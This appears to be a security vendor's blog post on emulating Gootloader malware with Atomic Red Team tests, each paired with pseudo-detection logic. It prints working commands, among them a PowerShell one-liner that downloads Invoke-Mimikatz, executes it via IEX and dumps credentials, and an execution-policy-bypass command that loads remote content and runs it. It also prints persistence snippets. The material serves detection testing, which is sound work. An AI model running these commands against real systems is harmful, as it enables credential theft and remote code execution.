After ranking fourth in the 2023 Threat Detection Report, Gootloader continues to show up in the environments we monitor, with evolving tradecraft and execution patterns. We’ve compiled the most useful Atomic Red Team tests for you to validate your ability to observe and detect behaviors similar to those leveraged by this threat.
First, a disclaimer
The following tests are based on threat intelligence from a variety of sources, both from Red Canary and other community members, often from a specific point in time, and are not designed to emulate threats with complete accuracy. You should not assume that any given test has been updated with the very latest developments in adversary tradecraft. Further, this emulation exercise is constrained by the availability of tests in Atomic Red Team.
Also note that tests will result in behaviors that may be actioned in different ways, including observing if you have the telemetry to see them, detecting them as suspicious or malicious, and/or mitigating them. Whether you choose to observe, escalate, or respond to the behaviors resulting from these tests is often based on context from your environment. Ultimately, detecting the broader threat is more important than ensuring that you’re able to alert on each individual test.
What is Gootloader?
Gootloader is a JScript-based malware family that typically leverages SEO poisoning and compromised websites to lure victims into downloading a ZIP archive that poses as a document that the user has searched for. Gootloader was the fourth most prevalent threat we detected in 2022, currently ranks 13th in 2023, and was among our top 10 monthly threats as recently as August. While we have detected Gootloader in customer environments across multiple sectors, most occurred after victims accessed compromised websites that claimed to offer information on contracts or other legal or financial documents.
Victims were likely directed to these sites after initiating search queries in popular search engines with keywords such as “agreement,” “contract,” and the names of various financial institutions. Given the volume of Gootloader detections and the range of victims, this threat is likely more opportunistic than targeted to a specific industry or organization. Accordingly, Gootloader remains a threat to all organizations.
Upon execution, Gootloader identifies whether the affected system is connected to an Active Directory domain before deploying payloads that may include Cobalt Strike, Gootkit, SystemBC, IcedID, and ultimately ransomware.
Emulating Gootloader with Atomic Red Team
Short of executing an actual malware sample, any emulation exercise involves subjectively selecting behaviors to mimic. In this case, we’re choosing to emulate Gootloader behaviors that occur frequently and that we are able to reliably detect. To that point, this exercise will focus on:
- early-stage execution via
.js
files - later-stage PowerShell execution
- defense evasion via encoded PowerShell
Gootloader leverages SEO poisoning to elevate the search ranking of compromised or malicious websites containing content related to business documentation and contract templates. The compromised websites host ZIP archives containing obfuscated JavaScript masquerading as the business documentation that the user searched for. Though this method requires user interaction, the obfuscated code enables Gootloader to evade many traditional detection methods.
After the file is downloaded, further user interaction is needed to unzip the downloaded file and execute the .js
or .jse
file inside; this file is usually named after the victim’s search terms.
The malicious JavaScript file contained within the unzipped archive is launched through the Windows Scripting Host (wscript.exe
) process, sometimes followed by cscript.exe
executing a malicious JavaScript file with a shortened name (like CHOICE~1.js
). In some instances, Gootloader will simply use wscript.exe
to execute the .js
with a command like the following:
"C:\Windows\System32\WScript.exe" "C:\Users\[redacted]\AppData\Local\Temp\Temp1_this_is_my_query.zip\this_is_my_query.js"
Red Canary has multiple custom detection analytics that look for variations of the activity described above. We previously shared versions of two such analytics in the Gootloader section of the 2023 Threat Detection Report. Generally speaking, these detectors look for chains of execution that involve either wscript
, cscript
, or both executing with command lines that follow predictable naming conventions and contain some combination of the following:
.zip
or.js
file extensionstemp
,users
, orappdata
As is often the case, the pseudo-detectors we’re about to share are a great starting point for hunts or detection analytics but may require additional tuning—either by broadening the scope of the detection logic or narrowing it—to limit the occurrence of false positives or more accurately detect threats.
Detection opportunity 1: wscript
executes .js
file
One of our most effective methods for detecting early stage Gootloader activity is by looking for wscript.exe
executing JavaScript files from the AppData
folder. The following is a simplified version of the corresponding detection logic:
process == (wscript
)
&&
command_includes (appdata
&& .js
)
Detection opportunity 2: cscript
executing JScript files with MS-DOS short names
Another detector that commonly catches Gootloader activity is related to the use of cscript
to persistently execute .js
files using an obscure MS-DOS short name, as described in the CHOICE~1.js
example earlier.
process == cscript
&&
command_includes (~1.js
)
Now that we know a couple different ways to detect this activity, we can use the MITRE ATT&CK® framework to match the activity to a similar technique or set of techniques and find (or create!) an Atomic Red Team test for mimicking it.
Atomic test T1027 #10: Execution from compressed JScript file
The test that most closely emulates the above detectors is atomic test #10 for T1027. This test mimics the execution of a compressed executable JavaScript file, just as Gootloader does, and uses a Windows Scripting Host instance to do so. The easiest way to run the test is with Invoke-Atomic, but in order to trigger the first detection opportunity above, you’ll want to download the .js
file in the atomic to your AppData\Local\Temp
directory, extract it, copy the file path, and run it via the command line with wscript
. The file path should look like the following, replacing Administrator
with your username:
“Wscript.exe” "C:\Users\Administrator\AppData\Local\Temp\t1027js\t1027js.js"
As for the second detection opportunity, you should be able to trigger that by modifying the file name from t1027js.js
to t1027~1.js
and running it via cscript
in the command line, as follows:
"cscript.exe" "C:\Users\Administrator\AppData\Local\Temp\t1027js\t1027js~1.js"
What about PowerShell?
It’s not Gootloader without PowerShell! However, before we get into how Gootloader actually abuses PowerShell, we’ll briefly offer a detection opportunity based on the way that Gootloader loads PowerShell.
Detection opportunity 3: wscript
, cscript
, and PowerShell
As we’ve already discussed, Gootloader leverages malicious .js
files that are launched by wscript
and cscript
to eventually execute a variety of malicious PowerShell commands. While there isn’t a good test for emulating it in Atomic Red Team, the following pseudo-detector is a great way to bolster your coverage against Gootloader and a variety of other threats.
parent_process == wscript.exe
&&
process == cscript
&&
child_process == powershell
Following the initial access and execution activity described above, PowerShell commands read executable data from the registry key created in the malicious JavaScript file. Gootloader splits strings apart or otherwise obfuscates or encodes them when doing this to further avoid detection, producing commands that, once decoded, look something like this:
Get-ItemProperty -path ("hk"+"cu:\sof"+"tw"+"are\mic"+"ros"+"oft\Phone\"+[Environment]::username+"0")
Detection opportunity 4: Reflective code loading with PowerShell
Note that these strings, when concatenated, perform the same function as they would apart but will evade common string or pattern-based detection methods. Oftentimes, Gootloader leverages Get-ItemProperty cmdlet System.Reflection.Assembly
to execute code stored in the registry. Detecting this is relatively straightforward, as decoded commands almost always include the following: HKCU
, Get-ItemProperty
, and reflection.assembly
.
process == powershell.exe
&&
command_includes (HKCU
&& Get-ItemProperty
&& reflection.assembly
)
Atomic test T1059.001 #5: Mimikatz – Cradlecraft PsSendKeys
Incidentally, Mimikatz also performs reflective code loading, and you can test the above detector by running test # 5 for T1059.001. (Gootloader does not use Mimikatz; this is just a convenient way we can emulate reflective code loading.) Invoke-Atomic is the easiest way to run the test, but you can run it manually by entering the following into an elevated PowerShell prompt:
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Detection opportunity 5: PowerShell bypassing execution policies
Gootloader sometimes attempts to bypass execution policies when it runs PowerShell commands by using the -exec
switch with a bypass
flag, which are commonly used by adversaries to subvert security measures like antivirus.
process == powershell
&&
command_includes (-exec
|| bypass
)
Atomic test T1059.001 #8: PowerShell XML requests
The corresponding test for an -exec
flag and bypass
keyword executes an XML download request through PowerShell. The technique T1059.001 contains several tests that effectively fire detectors on this behavior, but test #8 is the best option, with as few extra tactics as possible. Again, Invoke-Atomic offers the simplest way to run this test, but you can also run it by pasting the following into the command line:
"powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/test.xml');$Xml.command.a.execute | IEX"
Detection opportunity 6: Encoded PowerShell commands
Finally, there’s the option of detecting encoded PowerShell commands, a behavior that’s common among Gootloader infections as well as countless other threats. In particular, Gootloader uses Base64-encoded commands that are then split into staggered strings using escape characters. While we often detect shortened versions of the standard -encodedcommand
switch, Gootloader also uses a forward slash (/
) to call encoding on PowerShell commands. Both make for good detection opportunities.
process == (powershell
)
&&
command_includes (-e
|| -en
|| -enc
|| -enco
|| [any variation of the encoded command switch]*)
*Any variation of the encoded command switch will encode PowerShell commands. A variation of this detector uses /
instead of -
.
Atomic test T1059.001 #19: PowerShell command execution
The corresponding test, T1059.001 test #19, allows the users to execute a benign encoded PowerShell command using a shortened version of the -encodedcommand
switch. To test the above detector, run the following:
powershell.exe -ec JgAgACgAZwBjAG0AIAAoACcAaQBlAHsAMAB9ACcAIAAtAGYAIAAnAHgAJwApACkAIAAoACIAVwByACIAKwAiAGkAdAAiACsAIgBlAC0ASAAiACsAIgBvAHMAdAAgACcASAAiACsAIgBlAGwAIgArACIAbABvACwAIABmAHIAIgArACIAbwBtACAAUAAiACsAIgBvAHcAIgArACIAZQByAFMAIgArACIAaAAiACsAIgBlAGwAbAAhACcAIgApAA==
Detection opportunity 7: PowerShell scheduled tasks
Last but not least, in some infections, Gootloader leverages PowerShell to create a scheduled task for persistence. Reliably detecting this behavior is relatively simple, but potentially prone to false positives since the PowerShell scheduled task cmdlet is a legitimate function that is sometimes used by tools and administrators.
process == powershell.exe
&&
command_includes (new-scheduledtask
|| register-scheduledtask
)
Atomic test T1053.005 #4: PowerShell cmdlet scheduled task
Test #4 for T1053.005 is designed to emulate this almost exactly, leveraging PowerShell cmdlets to set up a scheduled task that launches calc.exe
at a specific time. Running the test with Invoke-Atomic is easiest, but pasting the following into PowerShell will work as well:
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
Note: you can use the following clean-up command to unregister the scheduled task created by the above test:
Unregister-ScheduledTask -TaskName "AtomicTask" -confirm:$false >$null 2>&1
Happy testing!
After this point, it’s usually time for Gootloader to deliver a secondary payload, like Cobalt Strike for example, so this is where our emulation exercise ends! The above Gootloader tests provide a good overall picture of how this threat works and how it can be detected. Happy testing!
For convenience sake, you can find a round-up of all the tests included in this article in the following list: